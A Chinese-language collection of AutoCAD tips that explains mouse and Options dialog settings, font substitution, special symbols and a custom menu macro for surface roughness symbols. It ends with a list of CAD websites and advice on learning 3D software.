2.变量 SHORTCUTMENU 大于0---------快捷菜单
3.或用于环境选项--------使用者设定---------快捷菜单开关设定
中间键 :Mbuttonpan=1(系统默认值)
压着不放并拖曳 实现平移
双击 ZOOM ------E缩放成实际范围
[Shift]+压着不放并拖曳 作垂直或水平的实时平移
[Ctrl]+压着不放并拖曳 随意式实时平移
Mbuttonpan=0 对象捕捉快捷菜单
[Shift]+右键 对象捕捉快捷菜单
二键+中间滚轮鼠标
左键 : 选择功能键(选象素 选点 选功能)
右键: 绘图区-----快捷菜单或[ENTER]功能
1.变量 SHORTCUTMENU 等于0---------[ENTER]
2.变量 SHORTCUTMENU 大于0---------快捷菜单
3.或用于环境选项--------使用者设定---------快捷菜单开关设定
中间滚轮 1.旋转轮子向前或向后,实时缩放、拉近、拉远
2.压轮子不放并拖曳 实时平移
3.双击 ZOOM ------E缩放成实际范围
[Shift]+压轮子不放并拖曳 作垂直或水平的实时平移
[Ctrl]+压轮子不放并拖曳 &nbs
p; 随意式实时平移
Mbuttonpan=0 (系统默认值=1) 按一下轮子 对象捕捉快捷菜单
[Shift]+右键 对象捕捉快捷菜单
13.深入了解AutoCAD2000系统配置对话框
AutoCAD2000系统配置对话框设置用户通过设置该菜单选项,可自定义多种常用参数及外设。
操作:用鼠标左键点击“工具”菜单的“选项”项,系统会弹出一个对话框。
v1w文件选项
指定 AutoCAD 搜索支持文件、驱动程序、菜单文件和其他文件的目录。还指定一些可选的用户定义设置,例如用哪个目录进行拼写检查。
搜索路径、文件名和文件位置
显示 AutoCAD 使用的目录和文件列表。若要指定一个目录或文件的位置,从列表中双击该目录或文件。选择“浏览”并使用“浏览文件夹”对话框v一个标准的文件选择对话框w来定位您想使用的目录或文件。
①支持文件搜索路径: 指定 AutoCAD 用来搜索支持文件的目录。除了运行AutoCAD 必须的文件以外,支持文件搜索路径中还包括字体文件、菜单文件、要插入的图形文件、线型文件和图案填充文件路径。在支持文件搜索路径中也可以包含环境变量。
②工作支持文件搜索路径: 指定 AutoCAD 用来搜索系统特定的支持文件的活动目录。支持文件列表显示“支持文件搜索路径”中的有效路径。这些路径存在于当前目录结构和网络路径中。列在“支持文件搜索路径”中的有效环境变量显示为“工作支持文件搜索路径”中的扩展路径。包含其他环境变量的子变量被显示出来,只有父变量显示为扩展目录。
③设备驱动程序文件搜索路径: 指定 AutoCAD 用于搜索视频显示、定点设备、打印机和绘图仪的设备驱动程序的路径。
④工程文件搜索路径: 指定图形的工程名。工程名应符合与该工程相关的 (xref) 外部参照文件的搜索路径。可以创建任意数目的工程名和相关目录,但每个图形只能有一个工程名。
⑤菜单、帮助和其他文件名称: 指定各类文件的名称和位置。
i 菜单文件: 指定 AutoCAD 菜单文件的位置。
ii 帮助文件: 指定 AutoCAD 帮助文件的位置。
iii 缺省 Internet 网址: 指定“帮助”菜单中的“连接到 Internet”选项和“标准”工具栏上的“启动浏览器”按钮使用的缺省 Internet 位置。
iv 配置文件: 指定用来存储硬件设备驱动程序信息的配置文件的位置。这个值是只 读 的,只能通过使用 /c 命令行开关来修改。
v 许可服务器: 提供网络管理员的网络许可管理器程序的当前有效的客户许可服务器列表。这个值存储在 ACADSERVER 环境变量中。如果未定义 ACADSERVER,将显示“无”。这个值是只读的,不能在“选项”对话框中修改。AutoCAD 只在每个任务开始时读取 ACADS
ERVER 的值。如果 AutoCAD 改变了该值,必须关闭并重新打开 AutoCAD 才能显示该值。
⑥文字编辑器、词典和字体文件名称: 指定一系列可选的设置。
i 文字编辑器应用程序: 指定用来编辑多行文字对象的文字编辑器程序。
ii 主词典:指定用于拼写检查的词典。可以选择“美国英语”,“英国英语”的一或两个选项,或者是“法语”的一或两个选项。
iii 自定义词典文件:指定要使用的自定义词典v如果有的话w。
iv 替换字体文件: 如果 AutoCAD 不能找到原始字体,并且在字体映射文件中也没有指定替换字体,那么就要指定要使用的字体文件的位置。如果选择“浏览”,AutoCAD将显示“替换字体”对话框,可以从该对话框中选择一个可用的字体。字体映射文件: 指定用于定义 AutoCAD 如何转换不能定位的字体的文件。
⑦打印文件、后台打印和前导部分名称: 指定与打印相关的设置。
传统打印脚本的打印文件名: 指定 AutoCAD 早期版本创建的打印脚本所用的临 时打印文件的缺省名称。缺省名称是图形名称加上 .plt 扩展名。AutoCAD 2000 图形使用的缺省名称是图形名称-布局名称加上 .plt 扩展名。 但是,有些打印设备的驱动程序使用其他的打印文件扩展名。此选项只影响 AutoCAD 早期版本创建的打印脚本所用的缺省打印文件名。
后台打印程序: 指定批处理打印所使用的应用程序名称。可以输入可执行文件的名称以及需要使用的任何命令行参数。例如,可以输入 myspool.bat %s 将打印文件成批递送到 myspool.bat 文件中并自动生成一个特定的打印文件。请参见安装手册第六章配置打印机和绘图仪中的设置 AutoCAD 打印缓冲区。
PostScript. 前导部分: 为 acad.psf 文件中的自定义前导区指定名称。该前导区用来和 PSOUT 一起自定义结果输出。
打印机支持文件路径: 指定打印机支持文件的搜索路径设置。
后台打印文件位置: 指定后台打印文件的路径。AutoCAD 将打印内容写到此位置。
打印机配置文件搜索路径:指定打印机配置文件vPC3 文件w的路径。
打印机说明文件搜索路径: 指定带有 .pmp 扩展名的文件的路径,或打印机描述文件的路径。
打印样式表搜索路径: 指定带有 .sty 扩展名的文件的路径,或打印样式表文件的路径v包括命名打印样式表和颜色依赖打印样式表w。
⑧Object ARX 应用程序搜索路径
指定 ObjectARX 应用程序文件的路径。您可以在此选项下输入多个 URL 地址v多个 URL 地址应该用分号隔开w。如果不能找着关联的 Object ARX 应用程序,AutoCAD 将搜索指定的URL地址。此选项中只能输入URL地址。
自动保存文件位置: 指定自动保存文件的路径。是否自动保存文件由“打开和保存”选项卡中的“自动保存”选项控制。
数据源位置: 指定数据库源文件的路径。此设置所做的修改只有在关闭并重启 AutoCAD 之后才能起作用。
图形样板文件位置: 指定启动向导使用的样板文件的路径。
日志文件: 指定日志文件的路径。是否创建日志文件由“打开和保存”选项卡中的“保持日志文件”选项控制。
临
时图形文件位置: 指定 AutoCAD 用于存储临时文件的位置。AutoCAD 在磁盘上创建临时文件,并在退出程序后将其删除。如果您打算从一个写保护的目录中运行 AutoCADv例如正在网络上工作或者打开光盘上的文件w,应指定一个替换位置存储临时文件。所指定的目录必须是可读写的。
临时外部参照文件位置: 指定外部参照 (xref) 文件的位置。当您在 “打开和保存”选项卡的“按需加载外部参照”列表中选择了“使用副本”时,外部参照的副本将放在这个位置。
纹理贴图搜索路径: 指定 AutoCAD 用于搜索渲染纹理贴图的目录。
v2w显示选项
显示选项的界面如上图所示,用户可以在这一选项中定制AutoCAD的显示方式。该选项中的大多数子选项是以复选框的形式出现的,用户在进行配置时只需用鼠标单击每一子选项以确定选中或不选即可。若选中某一子选项时,该选项前面的小方框内将出现“√ ”标志。下面分别介绍各个子选项的作用:
窗口元素:通过设置窗口元素下面的子选项可以定制绘图窗口。
①图形窗口中显示滚动条:用来确定是否显示绘图窗口右侧和下侧的滚动条。滚动条可以用来上下左右移动屏幕。
②显示屏幕菜单:用来确定是否显示右侧的屏幕菜单。
③命令行窗口中显示的文字行数:确定屏幕下面命令行窗口中显示的文字行数。缺省值为3,有效值为1—100。设置时直接用键盘输入数值。
④颜色:单击该项将弹出颜色选择对话框。通过此对话框可设置绘图窗口各要素的颜色。
用户在设置颜色时,应先选择要改变颜色的要素,然后再选择相应的颜色。用户在选择窗口要素时,可以在图形框重用鼠标点取该要素,也可以在文字框中选择。
⑤字体:单击该项将弹出如下命令行窗口字体对话框。如图所示。
用户可在该对话框中选择相应的字形、字体、字号对命令行文字进行设置.
布局元素:用户可以在这里设置已有布局和新建布局的控制选项。
①显示布局和模型选项卡:确定是否显示屏幕底部的布局和模型选项卡,通过此选项卡可以很方便的在布局空间和模型空间进行转换。
②显示页边距:确定是否显示布局的边框。如选择此项,布局的边框将以虚线显示,边框以外的图形对象将被剪切掉或在打印时不予打印。
③显示图纸背景:确定是否在布局中显示所选图纸的背景。图纸背景的大小由打印纸的尺寸和打印比例尺决定。
④显示图纸阴影:确定是否在布局中图纸背景的周围显示阴影。
⑤新建布局时显示“页面设置” 对话框:确定当创建一个新布局时是否显示“页面设置“对话框。用户可以通过该对话框设置图纸尺寸和打印参数。
⑥在新布局中创建视口:确定当创建一个新布局时是否创建视口。
⑶ 其余选项略
v3w打开和保护:
控制在 AutoCAD 中打开和保存文件的相关选项。
文件保存:控制在 AutoCAD 中保存文件的相关设置。
①另存为: 显示用 SAVE 和 SAVEAS 保存文件时使用的有效文件格式。为此选项选择的文件格式是用 SAVE 或 SAVEAS 保存所有图形时的缺省格式。将 AutoCAD 2000 文件存为任意 DXF 格式将对性能造成影响。将&
ldquo;另存为”选项设置为“AutoCAD 2000 图形”格式可优化保存时的性能。
②保存缩微预览图像: 指定图形的图像是否可以显示在“选择文件”对话框的“预览”区域中。
③增量保存百分比: 设置图形文件中潜在浪费空间的百分比。当到达指定的百分比时,AutoCAD 执行一次全部保存代替增量保存。全部保存将消除浪费的空间。如果将“增量保存百分比”设置为 0,则每次都执行全部保存。增量保存会增加图形的大小,但不要设置一个很小的增量值。因为这将导致 AutoCAD 过于频繁地执行耗时的全部保存,将明显地降低性能。若要优化性能,可将此值设置为 50。如果硬盘空间不足,请将此值设置为 25。如果将此值设置为 20 或更小,SAVE 和 SAVEAS 命令的速度将明显变慢。
文件安全措施: 帮助避免数据丢失和检测错误。
①自动保存: 以指定的时间间隔自动保存图形。您可以用 SAVEFILEPATH 系统变量指定所有“自动保存文件”的位置。
②保存间隔分钟数:指定在使用“自动保存”时多长时间保存一次图形。该值存储在 SAVETIME 中。
③每次保存均创建备份: 指定在保存图形时是否创建图形的备份副本。
v4w打印
控制打印的相关选项。
新图形的缺省打印设置: 控制新图形的缺省打印设置。这同样也用于在以前版本的 AutoCAD 中创建的、没有保存为 AutoCAD 2000 格式的图形。
①用作缺省输出设备: 设置新图形的缺省打印设备。这同样也用于在以前版本的 AutoCAD 中创建、没有保存为 AutoCAD 2000 格式的图形。此列表显示从打印机配置搜索路径中找到的打印配置文件 (PC3) 以及系统中配置的系统打印机。
②使用上一可用的打印设置: 使用最近一次成功打印的打印设置。这个选项将确定缺省打印设置,这与早期版本的 AutoCAD 使用的方式相同。
③添加和配置打印机: 显示 Autodesk 打印机管理器v一个 Windows 系统窗口w。也可以用 Autodesk 打印机管理器添加或配置打印机。具体操作请参见:
基本打印选项: 控制常规打印环境v包括图纸尺寸设置、系统打印机警告和 AutoCAD 图形中的 OLE 对象w的相关选项。
①如果可能则保留布局的图纸尺寸: 如果选定的输出设备支持在“页面设置”对话框的“布局设置”选项卡中指定的图纸尺寸,则使用该图纸尺寸。如果选定的输出设备不支持该图纸尺寸,AutoCAD 显示一个警告信息,并使用在打印配置文件 (PC3) 或缺省系统设置中指定的图纸尺寸v如果输出设备是系统打印机w。
②使用打印设备的图纸尺寸: 使用在打印配置文件 (PC3) 或缺省系统设置中指定的图纸尺寸v如果输出设备是系统打印机w。
③系统打印机后台打印警告: 确定在发生输入或输出端口冲突而导致通过系统打印机后台打印图形时,是否要警告用户。
始终警告v记录错误w:当通过系统打印机后台打印图形时,警告用户并总记录错误。
仅在第一次警告v记录错误w:当通过系统打印机后台打印图形时,警告用户一次并总记录错误。
不警告v记录第一个错误w:当通过系统打印机后台打印图形时不警告用户,但记录第一个错误。
不警告v不记录错误w:当通过系统打印机后台打印图形时,不警告用户或记录错误。
v5w系统
当前定点设备: 控制与定点设备相关的选项。
①当前定点设备: 显示可用的定点设备驱动程序的列表。
i 当前系统定点设备:将系统定点设备设置为当前设备。
ii Wintab Compatible Digitizer:将 Wintab Compatible Digitizer 设置为当前设备。
输入自:指定 AutoCAD 是同时接受来自鼠标和数字化仪的输入,还是在设置了数字化仪时忽略鼠标。
基本选项: 控制与系统设置相关的基本选项。
①单图形兼容模式: 指定在 AutoCAD 中启用单图形界面 (SDI) 还是多图形界面 (MDI)。如果选择此选项,AutoCAD 一次只能打开一个图形。如果清除此选项,AutoCAD 一次能打开多个图形。
②显示“启动”对话框: 控制在启动 AutoCAD 时是否显示“启动”对话框。可以用“启动”对话框打开现有图形,或者使用样板、向导指定新图形的设置或重新开始绘制新图形。
③显示“OLE 特性”对话框: 控制在向 AutoCAD 图形中插入 OLE 对象时是否显示“OLE 特性”对话框。
④显示所有警告信息: 显示所有包含“不再显示此警告”选项的对话框。所有带有警告信息的对话框都将显示,而忽略先前针对每个对话框的设置。
⑤用户输入错误时发声提示: 指定 AutoCAD 在检测到无效条目时是否发出蜂鸣声警告用户。
⑥每个图形均加载 acad.lsp: 指定 AutoCAD 是否将 acad.lsp 文件加载到每个图形中。如果此选项被清除,那么只把 acaddoc.lsp 文件加载到所有图形文件中。如果您不想在特定的图形文件中运行某些 LISP 例程,也可以用 ACADLSPASDOC 系统变量控制“每个图形均加载 acad.lsp”。
⑦允许长文件名: 决定是否允许使用长符号名。命名对象最多可以包含 255 个字符。名称中可以包含字母、数字、空格和 Windows 及 AutoCAD 没有其他用途的特殊字符。当选中此选项时,可以在图层、标注样式、块、线型、文字样式、布局、UCS 名称、视图和视口配置中使用长名称。
v6w用户系统配置
控制在 AutoCAD 中优化性能的选项。
Windows 标准: 指定是否在 AutoCAD 中应用 Windows 功能。
①Windows 标准加速键: 用 Windows 标准解释键盘加速键v例如 CTRL+C 等于 COPYCLIPw。如果此选项被清除,AutoCAD 用 AutoCAD 标准解释键盘加速键,而不是用 Windows 标准v例如,CTRL+C 等于“取消”,CTRL+V 切换视口w。
②绘图区域中使用快捷菜单: 控制在绘图区域中单击右键是显示快捷菜单还是发布 ENTER 命令。
③自定义右键单击: 显示“自定义右键单击”对话框。
通过这个界面可以设定在绘图区域中单击右键是显示一个快捷菜单还是与按 ENTER 键产生相同的结果。如果您习惯于在运行命令时用单击右键来表示按 ENTER 键,就要从此对话框中禁用“命令”快捷菜单.此界面可设置在”缺省”, “编辑”, “命令”三种模式下单击鼠标右健的结果.
i 缺省模式 : 本区域中的选项控制在“缺省”模式下v
即没有选中任何对象也没有运行任何命令w,在绘图区域中单击右键的结果。
重复上一个命令: 禁用“缺省”快捷菜单。这样一来,当没有选中任何对象并且没有运行任何命令时,在绘图区域中单击右键和按 ENTER 键的结果相同,此刻它将重复上一次发布的命令。
快捷菜单: 激活“缺省”快捷菜单。
ii 编辑模式: 本区域中的选项控制在“编辑”模式下v即选中了一个或多个对象并且没有运行任何命令w,在绘图区域中单击右键的结果。
重复上一个命令: 禁用“编辑”快捷菜单。这样一来,当选中了一个或多个对象并且没有运行任何命令时,在绘图区域中单击右键和按 ENTER 键的结果相同,此刻它将重复上一次发布的命令。
快捷菜单: 激活“编辑”快捷菜单。
iii 命令模式: 本区域中的选项控制在“命令”模式下v即当前正在运行一个命令w,在绘图区域中单击右键的结果。
确认: 禁用“命令”快捷菜单。这样一来,当一个命令正在运行时,在绘图区域中单击右键和按 ENTER 键的结果相同。
快捷菜单v总是启用w:启用“命令”快捷菜单。
快捷菜单v命令选项存在时可用w:仅在选项当前在命令行中可用时才激活“命令”快捷菜单。在命令行中,选项括在方括号中。如果没有可用的选项,单击右键和按 ENTER 键相同。
坐标数据输入的优先级: 控制 AutoCAD 如何响应输入的坐标数据。
①执行对象捕捉: 在任何时候都使用执行对象捕捉,而不用明确坐标。
②键盘输入: 在任何时候都使用所输入的明确坐标,忽略执行对象捕捉。
③键盘输入,脚本例外: 使用所输入的明确坐标,而不用执行对象捕捉,脚本除外。
v7w草图:
指定许多基本编辑选项。
自动捕捉设置: 控制与对象捕捉的相关设置。通过对象捕捉,用户可以精确定位点和平面,包含端点、中点、圆心、节点、象限点、交点、插入点、垂足和切点平面等。
①标记: 控制 AutoSnap 标记的显示。该标记是一个几何符号,在十字光标移过对象上的捕捉点时显示对象捕捉位置。
②磁吸: 打开或关闭自动捕捉磁吸。磁吸将十字光标的移动自动锁定到最近的捕捉点上。
③显示自动捕捉工具栏提示: 控制自动捕捉工具栏提示的显示。工具栏提示是一个文字标志,用来描述捕捉到的对象部分。可以在“草图设置”对话框的“对象捕捉”选项卡中打开或关闭对象捕捉。
④显示自动捕捉靶框: 控制自动捕捉靶框的显示。当您选择一个对象捕捉时,在十字光标中将出现一个方框,这就是靶框。
自动捕捉标记颜色: 指定自动捕捉标记的颜色。
自动捕捉标记大小: 设置自动追踪标记的显示尺寸。取值范围从 1 到 20。
v8w选择
选择集模式: 控制与对象选择方法相关的设置。
①先选择后执行: 在调用一个命令前先选择一个对象。被调用的命令对先前选定的对象产生影响。
②用 Shift 键添加到选择集: 在用户按 SHIFT 键并选择对象时,向选择集中添加或从选择集中删除对象。若要快速清除选择集,只需在图形的空白区域中绘制一个选择窗口。
③按住并拖动: 通过选择一点然后将
定点设备拖动至第二点来绘制选择窗口。如果未选择此选项,则可以用定点设备选择两个单独的点来绘制选择窗口。
④隐含窗口: 当您在对象外选择了一点时,初始化选择窗口的图形。从左到右地绘制选择窗口可选择窗口边界中的对象。从右到左地绘制选择窗口可选择窗口边界中和与边界相交的对象。
⑤对象编组: 当选择编组中的一个对象时,选择整个“对象编组”。通过 GROUP,您可以创建和命名一组选择对象。
⑥关联性填充: 确定选择关联图案填充时将选定哪些对象。如果选中该选项,那么选择关联填充时还将选定边界对象。将 PICKSTYLE. 系统变量设置为 2 也可以设定该选项。
⑦拾取框大小: 控制 AutoCAD 拾取框的显示尺寸。缺省尺寸设置为 3 像素点,有效值的范围从 0 到 20。您也可以用 PICKBOX 系统变量设置“拾取框大小”。如果在命令行中设置“拾取框大小”有效值的范围从 0 到 32767。
夹点
控制与夹点相关的设置: 在对象被选中后,其上将显示夹点,即一些小方块。
①启用夹点: 控制在选中对象后是否显示夹点。通过选择夹点和使用快捷菜单,可以用夹点来编辑对象。在图形中启用夹点会明显降低处理速度,清除此选项可使性能得以提高。
②在块中启用夹点: 控制在选中块后如何在块上显示夹点。如果选中此选项,AutoCAD 显示块中每个对象的所有夹点。如果清除此选项,AutoCAD 在块的插入点位置显示一个夹点。通过选择夹点和使用快捷菜单,可以用夹点来编辑对象。
③未选中夹点颜色: 确定未被选中的夹点的颜色。如果从颜色列表中选择“其他”AutoCAD 将显示“选择颜色”对话框。AutoCAD 将未被选中的夹点显示为一个小方块的轮廓。也可以用 GRIPCOLOR 系统变量设置“未选中夹点颜色”。
④选中夹点颜色: 确定选中的夹点的颜色。如果从颜色列表中选择“其他”,AutoCAD 将显示“选择颜色”对话框。AutoCAD 将选中的夹点显示为一个填充的方块。
⑤夹点大小: 控制 AutoCAD 夹点的显示尺寸。缺省的尺寸设置为 3 像素点,有效值的范围从 1 到 20。
v9w配置:
您可以在这里控制你的配置和AutoCAD之间的切换。如果您想在AutoCAD 2000环境下工作,可在此界面下选择《unnamed profile》,然后单击置为当前按钮 ;如果想在你的配置环境下工作,可选择你的配置名称,然后单击“置为当前”按钮。
14.关于文本样式的问题?
比如一个文件里的一种文本样式是CCTEXT,其中的字体是一种autocad里面所没有的字体。
那么如果这个文件被没有这种字体的autocad打开,显示出来可能是乱码。我如何才能在这个图形里面设置一下,当没有这种字体的autocad打开时,使用我规定的替代字体仿宋体呢。
答:可用fontalt统统变量来设置。输入新值:”仿宋_GB2312
15. cad平方,立方怎么输入?
1. 2^ 再用鼠标滑过 2^使它显亮! 再选择a/b就好啦!
2. 输入:%%179,或%%178
16.几则AUTOCAD小技巧
多边形的绘制
AutoCAD 能创建边数为3到1024条的等边多边形,画图时可以选择多边形是内接圆方式或
外切圆方式,一般我们是直接输入边长的数值或选择端点的方式完成。实际上,我们还可以通过指定多边形某条边的两个端点来绘制,这特别适用于已画出一部分图形的情况下,这就要用到“Polygon”命令中的“Edge”参数了,当我们在点击“多边形”按钮或输入“Polygon”命令后,首先需要根据提示输入多边形的边数,接下来就要选择“Edge”参数(可只输入首字母“E”),然后捕捉两个端点就可以完成多边形的绘图,这样可以大大节省我们的作图时间。
利用好平行关系命令
Offset(平行关系)命令可将对象平移指定的距离,创建一个与原对象类似的新对象,它可操作的图元包括直线、圆、圆弧、多义线、椭圆、构造线、样条曲线等,当平移一个圆时,它还可创建同心圆;当平移一条闭合的多义线时,也可建立一个与原对象形状相同的闭合图形,正因为如此,Offset命令才成了AutoCAD 编辑命令中使用频率最高的一条命令。在使用Offset时,用户可以通过两种方式创建新线段,一种是输入平行线间的距离,这也是我们最常使用的方式;另一种是指定新平行线通过的点,选择参数“Through”(可简写为“T”)后,捕捉某个点作为新平行线的通过点,这样就不用输入平行线之间的距离了,而且还不易出错。
快速作出相切圆
平面图形中某个图形元素光滑地过渡到另一个图形元素的连接关系就是相切,记得笔者刚刚开始学习AutoCAD软件时,总是很笨拙地运用半径相加或半径相减的方法来画出相切圆,现在想来真是太愚蠢了。实际上,我们在运用画圆命令时,只要使用参数“Ttr”指定作相切的圆,然后分别选择相切对象A和B圆,再输入过渡圆半径就可以很方便地作出相切圆了。
特殊符号的输入
我们知道表示直径的“Ф”、表示地平面的“±”、标注度符号“°”都可以用控制码%%C、%%P、%%D来输入,但是如要输入其他符号怎么办呢?我们可以通过“字符映射表”来输入特殊字符,具体步骤如下:
1、输入“MText”命令,然后建立一个文本框,之后就会打开“Multiline Text Editor”对话框,在这个对话框中,我们可以看到右侧四个按钮中有一个是[Symbol]按钮;
2、单击这个按钮右下角的箭头,打开一个下拉列表,我们可以看到有“Degress %%d”、“Plus/Minus %%p”、“Diameter %%c”、“Non-breaking Space”、“Other”四个选项,选择前三个的某一选项可直接输入“°、”、“±”、“Φ”符号,这样就免去了我们记不住特殊控制码的苦处。
3、单击“Other”时,会打开“字符映射表”对话框,该对话框包含更多的符号供用户选用,其当前内容取决于用户在“字体”下拉列表中选择的字体,它的界面完全是我们所熟悉的中文界面,相信各位应该没有什么问题。
4.在“字符映射表
”对话框中,选择要使用的字符,然后双击被选取的字符或单击[选择]按钮,再单击[复制]按钮,将字符拷贝到剪贴板上,点[关闭]返回原来的对话框,将光标放置在要插入字符的位置,用“Ctrl+V”就可将字符从剪贴板上粘贴到当前窗口中。
17.学习
工程图中表面粗糙度的标注较多,使用AutoCAD绘图时人们最常用的办法是将绘制好的粗糙度符号定义成块或属性块(可改变粗糙度值),供以后调用。能否象标注尺寸和形位公差一样通过点击菜单来标注表面粗糙度呢?当然应该是没有问题的,下面笔者将就此进行介绍。
一、 设想及目标
AutoCADR14中已有十个下拉菜单段,意欲在尺寸标注(Dimension)菜单段中的公差(Tolerance)菜单项下增设一个具有三个子菜单的菜单项Roughness(粗糙度),结果如图1:
其中:子菜单项LeftTop专用于标注左方、上方及左上方位的需加工表面粗糙度符号;
子菜单项BottomRight专用于标注下方、右方及右下方位的需加工表面粗糙度符号;
子菜单项NoMachine专用于标注任何方位的不需去除材料的表面粗糙度符号;
这三个符号已可满足绝大多数情况下的表面粗糙度符号标注要求,如还需要用到其它表面粗糙度符号,则必须自己补充。
在使用LeftTop和BottomRight子菜单时只需要用户回答三个问题:插入点位置、粗糙度值、旋转角度。而在使用NoMachine子菜单时只需要回答插入点位置和旋转角度两个问题即可。
二、 构思设计
以LeftTop子菜单对应符号为例(见图2a),绘制过程是:
1、以1点为符号插入点,先用POINT命令绘制一个点,其位置由用户输入。
2、用PLINE命令从2点起按2→3→1→4路径绘制基本符号(复合线绘出的三段线为一个实体,以便后面的实体选择,LINE做不到),、段长度均6个图形单位(简称6,下同),段长度为12。
3、在3点正上方0.5处开始,用TEXT命令以Fit方式书写粗糙度值,字全宽(即的长度)为6,字的高度4.5,文字内容由用户输入(文字会充满图示矩形框)。
4、以1点为基点将文字及基本符号同时旋转至所需位置,旋转角度由用户输入。
BottomRight和NoMachine对应符号的绘制过程与之类似,稍有不同。图2b的绘图轨迹为2→1→3→4,图2c的绘图轨迹是2→1→3,然后以4点为圆心(相对于3点的坐标为@-6,-6.9),半径为1.75作圆。文字均从5点写起,宽度为的长度,长度和高度均为4.5。
三、 用宏命令编写菜单文件
AutoCAD中菜单文件由宏命令组成,而宏命令又分为一般宏命令和AutoLisp宏命令两种,后者需熟悉AutoCAD内嵌的AutoLisp语言,本文仅介绍一般宏命令方法编制菜单文件。
宏命令实际上是将AutoCAD中的各种基本命令及其操作过程用规定的格式(回车、用户输入等均有字符表示)预先用文本形式写出,待编译后机器即能自动按设计的过程顺序执行,省去了很多用户回答问题的操作。
菜单源文件的扩展名为“.MNU”,编译后生成可执行文件,扩展名为“.MNX”。
1、 进入AutoCAD下的目录Support,
打开该目录下的ACAD.MNU文件,找到***POP8段,这一段记载着DIMENSION菜单段的所有菜单项的宏命令语句,找到以“ID_Tolerance”开头的一行, 回车另起一行,极仔细地输入下列数行内容(或在某文本编辑器中输入完后再复制并粘贴至ACAD.MNU中,为防万一,应先将ACAD.MNU文件备份以便出现故障时恢复),格式上可参考相邻的各个语句。
ID_Rough [->Roughness]
[LeftTop]^C^CPOINT;PLINE;@12<60;W;0;0;@12<-120;@6<120;@6<0;;+
TEXT;J;F;@-6,0.5;@6,0;4.5;ROTATE;L;F;@;@0,-0.5;;;@3,-5.7; [BottomRight]^C^CPOINT;PLINE;@12<-120;W;0;0;@12<60;@6<-60;@6<180;;+
TEXT;J;F;@0,-5;@6,0;4.5;ROTATE;L;F;@0,4;@0,1;;;@3,10.2; [<-NoMachine]^C^CPOINT;PLINE;@6<120;W;0;0;@6<-60;@12<60;;+
CIRCLE;@-6,-6.9;1.75;ROTATE;L;F;@1.74<-30;@0.2<-30;;;@0,-3.46; 注意:+为换行符,一行写不下则须添加+号后再在第二行续写,可根据实际换行位置加在行末,不必同前。其它各符号含义请见相关书籍,本文不予解释。
2、 在AutoCAD环境中,输入MENU命令(菜单编译命令)。
3、 在打开的选择文件对话框中,选中前述的ACAD.MNU文件,即开始自动编译。
编译成功后,再点击Dimension菜单段标题,你会发现其中已新增了菜单项,正如图1所示,至此大功告成。
三个级联的子菜单的绘图结果见图1右上方;采用菜单方式标注出来的结果亦见图1中左侧示意,完全达到预定要求,使用非常方便快捷,对已习惯使用AutoCAD各种命令的用户接受毫无问题。
说明:①可按用户的美感对宏语句中的个别数据进行修改(主要是文字形式及文字与基本符号的间距),以使符号更为美观,但需要懂得宏命令编写方法,本例中许多数据是相关联的。
②事实上,此法标注出来的粗糙度符号不为一个整体,对文字不满意,可单独将文字删除,再用TEXT等方式重写,并可在图形基本符号周围任意添加标准规定的表面粗糙度的其它参数、符号等。
③如觉得符号大小不满意,除改变菜单文件中数据外,还可用常规方法将整个符号进行放缩。
④文字和基本符号需要能同时绕插入点旋转,为此选择两个实体采用的是Fence(栅栏线)方式,折线虽绘制得很短,但若将粗糙度符号标注在线条极密的几何要素处,可能会误选其它线条一起旋转(概率极微),因此标注时应尽量使符号勿与太多线条相交,或在空敞处标出后再移至线条稠密处。
⑤用户可在此基础上进一步完善新增菜单的功能(如设置快捷键等),本文不予深述。
以上介绍了用宏命令编制菜单文件来定制菜单标注表面粗糙度的方法和步骤,用户通过类比和更深入的学习,很快即可编制出合乎自己工作需要的菜单来,从而使AutoCAD的应用更加得心应手
18.介绍一些CAD网址(不可不看)
CAD信息网 - 国内第一家面向CAD(计算机辅助设计)领域的服务网站,其中包括CAD/CAM/CAE/CAPP/CIMS/CNC等。
CAD世界 - 主办单位:机械工业CAD咨询服务中心。CAD业界动态新闻,专业技
术交流,免费赠阅专业杂
AutoCAD应用技术 - AutoCAD,VB等软件的开发。
Autodesk 中国 - 大名鼎鼎的 Autodesk 公司的中国站点, 内含极好的《Autodesk in China》杂志.
Autodesk技术支持 - AutoCAD技术支持。
CAX展示网 - 集合编者对CAD、CAM、CAPP、CIMS的认识而做。
机械CAD设计师选型之家 - 在网上选择机电产品,不用画图即可将设计图形从网上下载到个人电脑。
机械CAD设计人员选型之家 - 提供机械产品配套件、液压气动件,兼给企业订做光盘样本。
机械标准化与CAD - 利用计算机辅助机器设计
天天CAD教程网
AutoCAD应用开发技术 - 论文、技术、程序。
fatpro数字化设计师 - 介绍CAD在建筑工程、交通、视觉特技领域的应用和制图。
天外有天 - 收集中国CAD网址,包括独立域名、学校和科研、工业设计及BBS。
AutoCAD新手上路 - 讨论AutoCAD管理与技巧。
ICAID - 基于INTERNET的数控机床计算机辅助造型设计系统。
数字化设计师 - 介绍CAD在建筑工程、交通、视觉特技领域的应用和制图。
CAD之MicroStation - 超级CAD软件MicroStation的使用、资源。
Cad Cam Online 线上杂志 - 提供最新的cad、cam消息,展览、研讨会、训练课程查询,研究讨论区切磋技术。
CAD与自动化
ICAID - 基于INTERNET的数控机床计算机辅助造型设计系统。
机械原理CAD - 机械原理CAD软件。
计算机辅助设计 - [英文] 介绍CAD的详细功能。
同图培训网 - 普及国产CAD、CAM、CAE、CAPP。
《工程设计CAD及自动化》杂志
《计算机集成制造系统——CIMS》杂志
《计算机辅助设计与图形学报》
19.学三维软件的禁忌
第一,过分讲究方法和技巧,而不愿意下真功夫。软件的运用是一种技能,但这种技能不是专*技巧能够获得的。太讲究方法和技巧会被其占用很多的时间和精力,而对学习的内容本身投入较少的时间和精力,因此反而会影响学习的效果。如有一个准备以CG求职的青年,他订了几本CG杂志,每天上网看帖子,认真学习和研究,讲起方法来一套一套 的,可他每次应试都拿不出象样的作品。这是因为他只顾钻研方法和技巧,在学习内容上花的时间和精力太少,而 且养成了投机取巧、不肯下功夫的习惯。方法和技巧只能适当利用,并且要从自己的学习实践中摸索出适合自己的方法和技巧才会真正管用。
第二,过分讲究速度和效率,不愿花时间经常重复(复习)已学过的内容。软件运用是一种技能,技能只有*熟能生巧,要不断重复才会熟练,只有熟练了才会形成一种不假思索的技能。
第三,三天打鱼两天晒网,没有恒心,不能长期坚持学习。技能的熟练要有一个过程,在这个过程中会遇到各种困难,但不能向困难低头,要坚持不懈地反复学习,持之以恒。
